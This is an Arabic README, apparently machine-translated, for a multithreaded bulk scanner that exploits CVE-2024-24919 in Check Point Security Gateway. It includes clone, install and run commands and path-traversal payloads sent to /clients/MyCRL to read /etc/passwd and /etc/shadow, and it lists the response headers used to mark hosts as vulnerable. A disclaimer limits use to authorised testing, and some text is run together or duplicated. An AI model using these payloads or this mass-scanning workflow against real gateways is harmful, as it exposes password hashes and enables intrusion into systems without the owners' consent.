
CVE-2024-24919 [Check Point Security Gateway كشف المعلومات]
CVE-2024-24919 [إفشاء معلومات لـ Check Point Security Gateway]
النص البرمجي مبني على، والفضل يعود إلى: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
يقوم هذا النص البرمجي بفحص قائمة عناوين URL بحثًا عن ثغرة CVE-2024-24919 عن طريق إرسال طلبات POST محددة والتحقق من رؤوس الاستجابة ورمز الحالة. يسجل تفاصيل الطلب والاستجابة ويحدد عناوين URL الضعيفة بناءً على معايير محددة مسبقًا.

[!WARNING] مخصص فقط للأغراض التعليمية والاختبار في بيئات الشركات. https://x.com/__nav1n_/ https://github.com/ifconfig-me لا يتحمل أي مسؤولية عن الكود، استخدم على مسؤوليتك الخاصة. لا تهاجم هدفًا ليس لديك إذن بالتفاعل معه.
[!NOTE] الخيوط (Threading): الإصدار الجديد v2 قادر الآن على العمل بخيوط. يقوم النص البرمجي بإنشاء 50 خيطًا لمعالجة عناوين URL بشكل متزامن لفحص أسرع ويمكن التحكم في هذه الخيوط باستخدام
-t100. قائمة الانتظار (Queue): يتم استخدام قائمة انتظار لإدارة عناوين URL وتوزيعها على خيوط العمل. التقدم والنتائج: يقوم النص البرمجي بطباعة التقدم والنتائج باستخدام ألوان.
requeststermcolorاستنساخ المستودع:
git clone https://github.com/ifconfig-me/CVE-2024-24919-Bulk-Scanner.git
cd CVE-2024-24919-Bulk-Scanner
تثبيت المكتبات المطلوبة:
pip install requests termcolor
إعداد ملف يحتوي على قائمة عناوين URL:
أنشئ ملفًا نصيًا (مثل urls.txt) بحيث يحتوي كل سطر على عنوان URL واحد. تأكد من أن كل عنوان URL يبدأ بـ https://. مثال:
https://example.com
https://testsite.com
https://vulnerable.com
https://123.456.789.10:8080
تشغيل النص البرمجي:
python CVE-2024-24919-auto-v2.py -t 150 -f urls.txt
التحقق من المخرجات:
سيقوم النص البرمجي بطباعة تقدم الفحص والنتائج في الطرفية. سيتم تحديد عناوين URL الضعيفة بالرسالة Vulnerable URL found:.
النتائج:
request-analyze.txt و request-analyze-v2.txt في الإصدار v2.checkpoint-results.txt و checkpoint-results-v2.txt في الإصدار v2.يرسل النص البرمجي طلبات POST إلى نقطة النهاية /clients/MyCRL لكل عنوان URL مع حمولتين:
aCSHELL/../../../../../../../etc/passwdaCSHELL/../../../../../../../etc/shadowيتحقق من رؤوس الاستجابة للمعايير التالية:
Server: Check Point SVN foundationX-UA-Compatible: IE=EmulateIE7X-Frame-Options: SAMEORIGINHTTP/1.0 200 OKإذا تطابقت الاستجابة مع أي من المعايير الثلاثة أعلاه، يعتبر عنوان URL ضعيفًا.
